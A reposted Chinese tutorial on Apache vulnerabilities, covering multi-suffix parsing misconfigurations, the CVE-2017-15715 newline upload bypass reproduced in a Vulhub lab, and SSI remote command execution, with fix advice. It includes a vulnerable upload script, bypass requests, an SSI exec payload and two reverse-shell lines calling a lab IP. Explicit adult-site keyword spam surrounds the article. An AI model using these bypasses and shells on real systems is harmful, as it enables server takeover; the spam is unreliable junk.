欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

Apache中間件漏洞原理及復(fù)現(xiàn)方法

這篇文章主要講解了“Apache中間件漏洞原理及復(fù)現(xiàn)方法”,文中的講解內(nèi)容簡(jiǎn)單清晰,易于學(xué)習(xí)與理解,下面請(qǐng)大家跟著小編的思路慢慢深入,一起來(lái)研究和學(xué)習(xí)“Apache中間件漏洞原理及復(fù)現(xiàn)方法”吧!

為政和等地區(qū)用戶提供了全套網(wǎng)頁(yè)設(shè)計(jì)制作服務(wù),及政和網(wǎng)站建設(shè)行業(yè)解決方案。主營(yíng)業(yè)務(wù)為成都網(wǎng)站設(shè)計(jì)、成都網(wǎng)站建設(shè)、外貿(mào)網(wǎng)站建設(shè)、政和網(wǎng)站設(shè)計(jì),以傳統(tǒng)方式定制建設(shè)網(wǎng)站,并提供域名空間備案等一條龍服務(wù),秉承以專業(yè)、用心的態(tài)度為用戶提供真誠(chéng)的服務(wù)。我們深信只要達(dá)到每一位用戶的要求,就會(huì)得到認(rèn)可,從而選擇與我們長(zhǎng)期合作。這樣,我們也可以走得更遠(yuǎn)!

一、 簡(jiǎn)介

1、apache簡(jiǎn)述

apache是世界上使用排名第一的web服務(wù)器軟件。他廣泛使用在各種計(jì)算機(jī)平臺(tái),由于其跨平臺(tái)和安全性被廣泛使用,是最流行的web服務(wù)器端軟件之一。他快速、可靠并且通過(guò)簡(jiǎn)單的API擴(kuò)充,將perl/python等語(yǔ)言解釋器編譯到服務(wù)器中。

apache的目錄結(jié)構(gòu):

bin 	存在常用命令工具,例如:start.bat、httpd.bat
cgi-bin	存放linux下常用的命令。例如:xxx.sh
conf	apache的相關(guān)配置文件,例如:httpd.conf
error	錯(cuò)誤日志記錄
htdocs	放網(wǎng)站源碼的地方
logs	日志
manual	手冊(cè)
modules	擴(kuò)展模塊

Apache中間件漏洞原理及復(fù)現(xiàn)方法

2、apache原理簡(jiǎn)述:

下面講到apache的漏洞必須理解apache運(yùn)行原理

很多小伙伴在搭建php+apache環(huán)境時(shí),經(jīng)常采用phpstudy,lamp、xampp等集成環(huán)境搭建,很容易忽略里面的一下原理,為了更好的理解本章中講到的漏洞,我們必須要說(shuō)一下apache與PHP的小秘密

下面我們通過(guò)下圖來(lái)說(shuō)一下完整的web請(qǐng)求流程:
Apache中間件漏洞原理及復(fù)現(xiàn)方法

請(qǐng)求從request開(kāi)始,到response結(jié)束

圖中簡(jiǎn)易描述了apache與php配合完成了一次web請(qǐng)求,apache在前,php在后,那兩者之間如何通信的呢,我們先了解一下php的框架。如下圖:

Apache中間件漏洞原理及復(fù)現(xiàn)方法

深入理解zend SAPIs:

https://www.laruence.com/2008/08/12/180.html

簡(jiǎn)單理解:

通過(guò)上圖可以看出PHP的整體分為5層(類似Android的架構(gòu)圖),分別解釋下:

1.Zend Engine是PHP的底層實(shí)現(xiàn),包含編譯和執(zhí)行,底層由C語(yǔ)言實(shí)現(xiàn)。
2.Zend API、Zend Extension API是基于Zend底層對(duì)外封裝提供服務(wù)。
3.Extendions使用Extension API實(shí)現(xiàn)了擴(kuò)展庫(kù)、標(biāo)準(zhǔn)庫(kù),例如各種內(nèi)置函數(shù)、MySQL連接庫(kù)等
4.SAPI是服務(wù)器應(yīng)用程序編程接口,就是通過(guò)它來(lái)和apache、nginx、FastCGI交互
5.Application是最上層,也就是我們寫的PHP代碼了

明白了上面的php的架構(gòu),那么現(xiàn)在關(guān)于apache和php通信的過(guò)程還是不明白?
apache本身不支持php解析,通過(guò)架構(gòu)圖可以知道通過(guò)SAPI進(jìn)行通信,那么apache如何和SAPI通信呢,apache怎么知道是什么類型的文件要解析為php,如果你動(dòng)手搭建過(guò)apache解析php的環(huán)境,就肯定了解這兩個(gè)問(wèn)題:

#加載php5_module模塊
LoadModule php5_module php5apache2_2.dll    路徑
#添加可以執(zhí)行php的文件類型,讓.php解析為php
AddType application/x-httpd-php .php
#或者將addtype變?yōu)橄旅娴模ㄔ赼pache 2.4.0~2.4.29中默認(rèn)使用了該方式)
<FilesMatch \.php$>
 SetHandler application/x-httpd-php
</FilesMatch>
以及
<IfModule dir_module>
DirectoryIndex index.html index.htm index.php index.phtml
</IfModule>

apache通過(guò)LoadModule來(lái)加載php5_module模塊(php5apache2_2.dll),這樣做的目的是讓apache加載php5_module模塊來(lái)解析php文件。意思其實(shí)就是用loadmodule來(lái)加載php5_module。也就是吧php作為apache的一個(gè)子模塊來(lái)運(yùn)行。當(dāng)通過(guò)web訪問(wèn)php文件時(shí),apache就會(huì)調(diào)用php5_module來(lái)解析php代碼。

調(diào)用過(guò)程可以概況為:

HTTP->APACHE->PHP5_MODULE->SAPI-PHP

講到這里各位應(yīng)該明白了apache是怎么調(diào)用php了吧

二、apache文件解析漏洞

1、簡(jiǎn)介

解析漏洞(CVE-2017-15715):未知擴(kuò)展名解析漏洞

apache的解析漏洞依賴于一個(gè)特性:apache默認(rèn)一個(gè)文件可以有多個(gè)以點(diǎn)分割的后綴,比如test.php.abc,當(dāng)最右邊的后綴無(wú)法識(shí)別(不在mime.types文件內(nèi)),則繼續(xù)向左識(shí)別,知道識(shí)別到合法后綴才能進(jìn)行解析,與windows不同,apache對(duì)文件的名解析不是僅僅認(rèn)識(shí)最后一個(gè)后綴名,而是從右向左,依此識(shí)別,直到遇到自己可以解析的文件為止。

apache官方解釋地址:
http://httpd.apache.org/docs/current/mod/directive-dict.html

2、部署phpstudy測(cè)試

通過(guò)phpstudy部署apache+php環(huán)境
Apache中間件漏洞原理及復(fù)現(xiàn)方法
訪問(wèn)phpinfo
Apache中間件漏洞原理及復(fù)現(xiàn)方法
Apache中間件漏洞原理及復(fù)現(xiàn)方法
apache的文件名擴(kuò)展名的定義在conf/mime.types文件中
Apache中間件漏洞原理及復(fù)現(xiàn)方法
Apache中間件漏洞原理及復(fù)現(xiàn)方法
我們建立如下的文件來(lái)驗(yàn)證該規(guī)則
Apache中間件漏洞原理及復(fù)現(xiàn)方法
訪問(wèn)phpinfo.png.abc文件
Apache中間件漏洞原理及復(fù)現(xiàn)方法
訪問(wèn)phpinfo.png文件
Apache中間件漏洞原理及復(fù)現(xiàn)方法
我們可以看到.png.abc的文件可以被解析為.png文件,那么我在php文件后面添加其他的php不能識(shí)別的后綴可以解析為php文件,用來(lái)繞過(guò)一些文件上傳限制的規(guī)則,并使其正常解析。
Apache中間件漏洞原理及復(fù)現(xiàn)方法
訪問(wèn)phpinfo.php.abc
Apache中間件漏洞原理及復(fù)現(xiàn)方法
根據(jù)上圖我們發(fā)現(xiàn)php.abc中的文件是通過(guò)txt訪問(wèn)展示,不能使用php解析,那是因?yàn)閍pache與php結(jié)合模式不同。

3、apache和php三種結(jié)合方法

CGI模式:

CGI通常翻譯為共同網(wǎng)關(guān)接口,是HTTP服務(wù)器域機(jī)器上的其他程序進(jìn)行通信的一個(gè)接口,讓W(xué)EB服務(wù)器必要時(shí)啟動(dòng)額外的程序處理動(dòng)態(tài)內(nèi)容。CGI是一種協(xié)議,他定義webserver域CGI程序的通信方式。缺點(diǎn)是每次客戶端請(qǐng)求都需要建立和銷毀進(jìn)程。因?yàn)镠TTP要生成一個(gè)動(dòng)態(tài)頁(yè)面,系統(tǒng)就必須啟動(dòng)一個(gè)新的進(jìn)程以運(yùn)行CGI程序,不斷地fork是一項(xiàng)很消耗時(shí)間和資源的工作。

FastCGI模式:

CGI解析器的反復(fù)加載是CGI性能低下的主要原因,如果CGI解析器保持在內(nèi)存中,并接受GastCGI進(jìn)程管理器調(diào)度,則可以提供良好的信息,伸縮性等。

FastCGI是一個(gè)常駐型的CGI,可以一直執(zhí)行,只要激活后,不需要每次花時(shí)間去fork一次。

Module模式:

apache的MPM的工作模式(多道處理模塊)用于定義apache在響應(yīng)多個(gè)用戶請(qǐng)求時(shí)所工作的模型。有三種MPM模式:

prefork(一個(gè)請(qǐng)求一個(gè)進(jìn)程響應(yīng))

worker(一個(gè)請(qǐng)求用一個(gè)線程響應(yīng),啟動(dòng)多個(gè)進(jìn)程每個(gè)進(jìn)程生成多個(gè)線程)

event(一個(gè)進(jìn)程處理多個(gè)請(qǐng)求)

詳細(xì)請(qǐng)參考:
https://blog.csdn.net/sinat_22991367/article/details/73431316

根據(jù)上述我們了解了apache與php結(jié)合的三種模式,那么不同模式和解析漏洞有什么關(guān)系呢,下面我們一起看一下:

使用module模式與php結(jié)合的所有版本 apache存在未知擴(kuò)展名解析漏洞,使用fastcig模式與php結(jié)合的所有版本apache不存在此漏洞。并且,想利用此漏洞必須保障文件擴(kuò)展名中至少帶有一個(gè)“.php”,否則將默認(rèn)被作為txt/html文檔處理。

1、使用module模式域php結(jié)合的所有版本,apache存在未知擴(kuò)展名解析漏洞
2、使用fastcgi模式域php結(jié)合的所有版本,apache不存在此漏洞未知擴(kuò)展名解析漏洞
3、想利用此漏洞必須保證文件名至少帶有一個(gè)“.php”.否則將默認(rèn)被作為txt/html文檔處理

Apache 2.0 Handler使用的為module模式

Apache中間件漏洞原理及復(fù)現(xiàn)方法

詳解參考
https://blog.csdn.net/wn314/article/details/77074477

三、linux環(huán)境測(cè)試文件解析漏洞

1、環(huán)境部署

安裝apache

kali虛擬機(jī)中包含有apache,在/etc/目錄下

cd /etc/
ls -al apache2/

Apache中間件漏洞原理及復(fù)現(xiàn)方法

啟動(dòng)apache

/etc/init.d/apache2 start 
/etc/init.d/apache2 status
service apache2 restart
netstat -tnlp

Apache中間件漏洞原理及復(fù)現(xiàn)方法
Apache中間件漏洞原理及復(fù)現(xiàn)方法

訪問(wèn)80端口

Apache中間件漏洞原理及復(fù)現(xiàn)方法

安裝php

同上kali虛擬機(jī)中是包含有php的,也在/etc/目錄下面

php -v	#查看php版本

Apache中間件漏洞原理及復(fù)現(xiàn)方法

測(cè)試apache是否可以解析php文件

在/var/www/html目錄下創(chuàng)建index.php文件

touch index.php		#創(chuàng)建文件
#在文件中添加
<?phpinfo();?>
#編輯文件
gedit index.php

Apache中間件漏洞原理及復(fù)現(xiàn)方法

訪問(wèn)index.php

Apache中間件漏洞原理及復(fù)現(xiàn)方法

2、分析apache解析漏洞

apache2和apache目錄不同,apache2大致分為conf、mods、sites目錄及一些配置文件,每個(gè)目錄都有enabled類型和availablelia后綴兩種。

enabled     #是啟動(dòng)文件,里面默認(rèn)放的是
availble    #文件夾中的配置文件的軟鏈接。
avaibled    #中的放的文件才是真正的配置文件。
ports.conf  #為服務(wù)器監(jiān)聽(tīng)I(yíng)P和端口設(shè)置的配置文件,
apache2.conf	#對(duì)應(yīng)httpd.conf文件
sites-available	#如果apache上配置了多個(gè)虛擬主機(jī),每個(gè)虛擬主機(jī)的配置文件在目錄中
mods-available	#是存放apache功能模塊的配置文件和鏈接的,當(dāng)我安裝了PHP模塊后,在這兩個(gè)目錄里就有了php5.load、php5.conf和指向這兩個(gè)文件的鏈接。

Apache中間件漏洞原理及復(fù)現(xiàn)方法

根據(jù)上面說(shuō)明,我們查看php的配置需要在sites-available目錄中

Apache中間件漏洞原理及復(fù)現(xiàn)方法

查看php7.3.conf文件,第一行就告訴了我們apache會(huì)將那些后綴的文件當(dāng)做php解析

<FilesMatch ".+\.ph(ar|p|tml)$">

Apache中間件漏洞原理及復(fù)現(xiàn)方法

根據(jù)上面正則表示,當(dāng)如下結(jié)尾的文件會(huì)被apache當(dāng)做php解析

phar
php
phtml

apache這次解析漏洞的根本原因及時(shí)這個(gè) $ 字符,在正則表達(dá)式中,$ 符號(hào)用來(lái)匹配字符串結(jié)尾位置。

菜鳥教程解釋:
https://www.runoob.com/regexp/regexp-syntax.html

Apache中間件漏洞原理及復(fù)現(xiàn)方法

3、多后綴名漏洞

漏洞復(fù)現(xiàn)

我們修改php7.3.conf文件中剛剛提到了正則表達(dá)式,意思為匹配后綴名帶.php、.phar、.phtml文件

<FilesMatch ".+\.ph(ar|p|tml)*">
將 $ 修改為 *

Apache中間件漏洞原理及復(fù)現(xiàn)方法

重啟apache

service apache2 restart

Apache中間件漏洞原理及復(fù)現(xiàn)方法

測(cè)試訪問(wèn)phpinfo.php.jpg文件

Apache中間件漏洞原理及復(fù)現(xiàn)方法

我們看到果然phpinfo.php.jpg被當(dāng)做php解析了。

總結(jié)利用條件

1.使用module模式,且正則符合條件
2.文件中至少帶一個(gè).php
3.apache解析文件名從右向左解析,即使最右邊的文件格式在mime.types文件內(nèi),只要文件中出現(xiàn).php,就可以被php模塊解析

4、addhandlerd的解析

漏洞復(fù)現(xiàn)

訪問(wèn)phpinfo.php.jpg,正常情況下apache解析文件名從右向左解析,phpinfo.php.jpg首先解析jpg格式文件,所以顯示圖片。

Apache中間件漏洞原理及復(fù)現(xiàn)方法

在sites-enabled目錄下添加一個(gè)conf文件,意思為apache識(shí)別只要帶.php后綴的全部文件,

AddHandler application/x-httpd-php .php

Apache中間件漏洞原理及復(fù)現(xiàn)方法

重啟apache

service apache2  restart

Apache中間件漏洞原理及復(fù)現(xiàn)方法

訪問(wèn)phpinfo.php.jpg文件
Apache中間件漏洞原理及復(fù)現(xiàn)方法

利用總結(jié)

即使最右邊的文件格式在mime.types文件內(nèi),只要文件中出現(xiàn).php,就可以被php模塊解析

5、罕見(jiàn)后綴總結(jié)

漏洞復(fù)現(xiàn)
在mime.types文件中,不僅僅有php,還有php3、php4、php5等。

cat /etc/mime.types | grep php

Apache中間件漏洞原理及復(fù)現(xiàn)方法

在php7.4.php正則表達(dá)式,匹配php、phar、phtml

<FilesMatch ".+\.ph(ar|p|tml)$">

Apache中間件漏洞原理及復(fù)現(xiàn)方法

我們可以通過(guò)其他文件后綴名解析php文件,比如:phtml。在特定的時(shí)候,繞過(guò)一些限制

6、配置問(wèn)題總結(jié)

1、如果修改/etc/apache2/mods-enabled/phpxx.conf文件中第一行正版表達(dá)式,會(huì)出現(xiàn)文件解析漏洞。

<FilesMatch ".+\.ph(ar|p|tml)$">
將 $ 修改為 * . \.等其他字符

2、如果在apache的/etc/apache2/apache2.conf中有這樣的配置

<FilesMatch ".jpg">
 SetHandler application/x-httpd-php
</FilesMatch>

這時(shí)候文件名為包含.jpg的文件,全部解析為php

3、在apache的sites-enabled目錄下添加一個(gè)conf文件,配置一行代碼:

AddHandler application/x-httpd-php .php

這時(shí)候只要文件名包含.php,就可以被解析為php

4、在/etc/apache2/mods-enabled/phpxx.conf正則表達(dá)式,匹配php、phar、phtml和在/etc/mime.types匹配php3、php4、php5等一些文件,我們?cè)诖朔秶鷥?nèi)修改后綴名上傳文件,可以簡(jiǎn)單繞過(guò)一下限制。

四、apache httpd換行解析漏洞(CVE-2017-15715)

1、漏洞簡(jiǎn)介

apache通過(guò)modl_php模式來(lái)運(yùn)行腳本,其2.4.0-2.4.29中存在apache換行解析漏洞。在解析php時(shí)xx.php\0A將被安全.php后綴進(jìn)行解析,導(dǎo)致繞過(guò)一些安全機(jī)制。

在/etc/apache2/mods-enabled/php7.3.php第一行正則限制了可以解析的php文件類型

Apache中間件漏洞原理及復(fù)現(xiàn)方法

正則表達(dá)式在結(jié)尾處$ 符號(hào),如果設(shè)置了 RegExp 對(duì)象的 Multiline 屬性,則 $ 也匹配 '\n' 或 '\r'。

利用這一機(jī)制,如果在文件名后添加換行符,是否可以繞過(guò)文件上傳限制,并同時(shí)達(dá)到可以讓php解析的地步的,下面我們開(kāi)始測(cè)試,即:

1.php\x0a = 1.php\n

2、準(zhǔn)備漏洞環(huán)境Vulhub

1、下載docker
curl -s https://get.docker.com/ | sh

Apache中間件漏洞原理及復(fù)現(xiàn)方法

查看docker版本

docker -v

Apache中間件漏洞原理及復(fù)現(xiàn)方法

2、安裝docker-compose
apt install python-pip

pip install docker-compose

sudo apt install docker-compose

Apache中間件漏洞原理及復(fù)現(xiàn)方法
Apache中間件漏洞原理及復(fù)現(xiàn)方法

查看docker-compose版本

docker-compose -v

Apache中間件漏洞原理及復(fù)現(xiàn)方法

3、下載vulhub

安裝完成docker和docker-compose之后,將valhue下載或者上傳到本地任意目錄

git clone https://github.com/vulhub/vulhub.git

或者將軟件包上傳到本地
Apache中間件漏洞原理及復(fù)現(xiàn)方法

4、啟動(dòng)(CVE-2017-15715)漏洞環(huán)境
cd vulhub-master/httpd/CVE-2017-15715/

# docker-compose up -d運(yùn)行后,會(huì)自動(dòng)查找當(dāng)前目錄下的配置文件。如果配置文件中包含的環(huán)境均已經(jīng)存在,則不會(huì)再次編譯;如果配置文件中包含的環(huán)境不存在,則會(huì)自動(dòng)進(jìn)行編譯。所以,其實(shí)docker-compose up -d命令是包含了docker-compose build的。
如果更新了配置文件,你可以手工執(zhí)行docker-compose build來(lái)重新編譯靶場(chǎng)環(huán)境。
docker-compose build
docker-compose up -d 

docker ps	列出所有在運(yùn)行的容器信息。

Apache中間件漏洞原理及復(fù)現(xiàn)方法

3、漏洞測(cè)試

訪問(wèn)8080端口
Apache中間件漏洞原理及復(fù)現(xiàn)方法

直接上傳文件,失敗
Apache中間件漏洞原理及復(fù)現(xiàn)方法
使用burp抓取請(qǐng)求報(bào)
Apache中間件漏洞原理及復(fù)現(xiàn)方法

發(fā)送到repeater,在1.php后添加.符號(hào)

.符號(hào)hex編碼為2e
0a在hex解碼或?yàn)閾Q行符

Apache中間件漏洞原理及復(fù)現(xiàn)方法
將2e修改為0a
修改前
Apache中間件漏洞原理及復(fù)現(xiàn)方法
修改后
Apache中間件漏洞原理及復(fù)現(xiàn)方法
上傳成功
Apache中間件漏洞原理及復(fù)現(xiàn)方法
訪問(wèn)2.php文件

http://192.168.43.129:8080/2.php%0a

Apache中間件漏洞原理及復(fù)現(xiàn)方法
我們看一下,上傳的文件,\n對(duì)應(yīng)這hex編碼中的0a
Apache中間件漏洞原理及復(fù)現(xiàn)方法

4、分析代碼

為什么加載0X0a就能讓給了呢,我們先看一下index.php的代碼

<?php
if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
} else {

?>

<!DOCTYPE html>
<html>
<head>
	<title>Upload</title>
</head>
<body>
<form method="POST" enctype="multipart/form-data">
	<p>
		<label>file:<input type="file" name="file"></label>
	</p>
	<p>
		<label>filename:<input type="text" name="name" value="evil.php"></label>
	</p>
	<input type="submit">
</form>
</body>
</html>

<?php
}
?>

可見(jiàn),這里用到了黑名單,如果發(fā)現(xiàn)后綴在'php', 'php3', 'php4', 'php5', 'phtml', 'pht'這幾個(gè)黑名單里,一律進(jìn)制上傳,進(jìn)行攔截。

根據(jù)前文我們提到,php模塊在解析php文件中通過(guò)正則表達(dá)式驗(yàn)證可以解析的文件名,正則表達(dá)式在結(jié)尾處$ 符號(hào),如果設(shè)置了 RegExp 對(duì)象的 Multiline 屬性,則 $ 也匹配 '\n' 或 '\r'。我們?cè)谖募Y(jié)尾加上\x0a(\n),保證了文件解析的同時(shí),也可以繞過(guò)上傳黑名單。

0x0a和0x0d的區(qū)別:

0x0d、 \r、CR這三者代表回車,是同一個(gè)意思,回車的作用只是移動(dòng)光標(biāo)至該行的起始位置
0x0a、\n、CL這三者代表?yè)Q行,是同一個(gè)意思,換行至下一行行首起始位置

6、修復(fù)建議

1、升級(jí)到最新版本
2、或?qū)⑸蟼鞯奈募孛麨闀r(shí)間戳+隨機(jī)數(shù)+.jpg的格式,并禁用上傳文件目錄執(zhí)行腳本權(quán)限

7、補(bǔ)充:docker-compose常用命令

docker-compose up -d	#啟動(dòng)所有服務(wù)并在后臺(tái)運(yùn)行
docker-compose up ps	#查看服務(wù)運(yùn)行狀態(tài)
docker-compose restart	#重啟所有服務(wù)
docker-compose restart myApp	#重啟myApp服務(wù)
docker-compose start	#開(kāi)始所有服務(wù)
docker-compose stop		#停止所有服務(wù)
docker-compose rm		#刪除所有服務(wù)
docker-compose build	#重新編譯靶場(chǎng)環(huán)境

五、Apche SSI遠(yuǎn)程命令執(zhí)行漏洞(ssi-rce)

1、漏洞簡(jiǎn)介

1、漏洞描述

SSI(server-side includes):是放置在HTML頁(yè)面中的指令,他可以將動(dòng)態(tài)生成的內(nèi)容添加到現(xiàn)在的HTML頁(yè)面,而不必通過(guò)CGI程序或其他動(dòng)態(tài)技術(shù)來(lái)提供整個(gè)頁(yè)面。以上是定義采用在apache官網(wǎng)對(duì)SSI的定義,說(shuō)白了就是可以在HTML中加入特定的指令,也可以引入其他的頁(yè)面。開(kāi)始SSI需要單獨(dú)配置Apache,參考:

https://httpd.apache.org/docs/2.4/howto/ssi.html

SSI可以完成查看時(shí)間、文件修改時(shí)間、CGI程序執(zhí)行結(jié)果、執(zhí)行系統(tǒng)命令、連接數(shù)據(jù)庫(kù)等操作,功能很強(qiáng)大。

在測(cè)試任意文件上傳漏洞時(shí)時(shí)候,目標(biāo)服務(wù)器可能不允許上傳php后綴的文件。如果目標(biāo)服務(wù)器開(kāi)啟了SSI與CGI支持,我們可以上傳一個(gè)shtml文件,并利用語(yǔ)法執(zhí)行任意命令。

2、影響版本

apache全版本(支持SSI與CGI)

2、環(huán)境搭建

此次測(cè)試使用docker搭建環(huán)境,環(huán)境采用Vulhub靶機(jī)

cd /root/vulhub-master/httpd/ssi-rce
docker-compose up -d
docker ps

Apache中間件漏洞原理及復(fù)現(xiàn)方法

cat upload.php

Apache中間件漏洞原理及復(fù)現(xiàn)方法

3、漏洞復(fù)現(xiàn)

1、創(chuàng)建腳本

我們利用SSI執(zhí)行系統(tǒng)命令的工作,正常一個(gè)包含SSI指令的文件,保存在test.shtml文件,內(nèi)容如下:

<pre>
<!--#exec cmd="whoami" -->
</pre>

Apache中間件漏洞原理及復(fù)現(xiàn)方法
文件的后綴名取決于apache的配置,默認(rèn)是此后綴。

2、上傳木馬

如果后臺(tái)對(duì)后綴名校驗(yàn)不嚴(yán)格時(shí),可以上傳shtml類型文件,達(dá)到命令執(zhí)行,獲取webshell的目錄。
Apache中間件漏洞原理及復(fù)現(xiàn)方法
訪問(wèn)shtml文件,看到whoami命令執(zhí)行并返回了結(jié)果
Apache中間件漏洞原理及復(fù)現(xiàn)方法

3、反彈shell
<!--#exec cmd="/bin/bash -i > /dev/tcp/192.168.43.129/8888 0<&1 2>&1" -->
<!--#exec cmd="nc 192.168.43.129 8888 -e /bin/bash"-->

感謝各位的閱讀,以上就是“Apache中間件漏洞原理及復(fù)現(xiàn)方法”的內(nèi)容了,經(jīng)過(guò)本文的學(xué)習(xí)后,相信大家對(duì)Apache中間件漏洞原理及復(fù)現(xiàn)方法這一問(wèn)題有了更深刻的體會(huì),具體使用情況還需要大家實(shí)踐驗(yàn)證。這里是創(chuàng)新互聯(lián),小編將為大家推送更多相關(guān)知識(shí)點(diǎn)的文章,歡迎關(guān)注!

分享標(biāo)題:Apache中間件漏洞原理及復(fù)現(xiàn)方法
分享URL:http://chinadenli.net/article6/gpppog.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供標(biāo)簽優(yōu)化、關(guān)鍵詞優(yōu)化、服務(wù)器托管、營(yíng)銷型網(wǎng)站建設(shè)微信小程序、用戶體驗(yàn)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

商城網(wǎng)站建設(shè)
久久精品亚洲精品一区| 国产不卡的视频在线观看| 午夜福利黄片免费观看| 久久黄片免费播放大全| 久热久热精品视频在线观看| 亚洲最新的黄色录像在线| 偷拍洗澡一区二区三区| 国产女同精品一区二区| 大伊香蕉一区二区三区| 一区二区三区免费公开| 欧美欧美欧美欧美一区| 成人免费在线视频大香蕉| 国产精品九九九一区二区| 日韩精品人妻少妇一区二区| 不卡在线播放一区二区三区| 激情三级在线观看视频| 久久永久免费一区二区| 天海翼高清二区三区在线| 沐浴偷拍一区二区视频| 中文人妻精品一区二区三区四区 | 欧美日韩免费黄片观看| 在线观看日韩欧美综合黄片| 日韩精品区欧美在线一区| 国产福利一区二区久久| 亚洲精品福利视频在线观看| 精品老司机视频在线观看| 国产精品一区二区三区黄色片| 国产又粗又黄又爽又硬的| 大香蕉网国产在线观看av| 日韩一区二区三区免费av| 免费在线观看激情小视频| 日韩中文字幕有码午夜美女| 精品人妻一区二区三区免费| 老熟妇乱视频一区二区| 欧美熟妇喷浆一区二区| 精品伊人久久大香线蕉综合| 国产av一二三区在线观看| 一区二区在线激情视频| 精品老司机视频在线观看| 日韩欧美在线看一卡一卡| 欧美日韩精品人妻二区三区|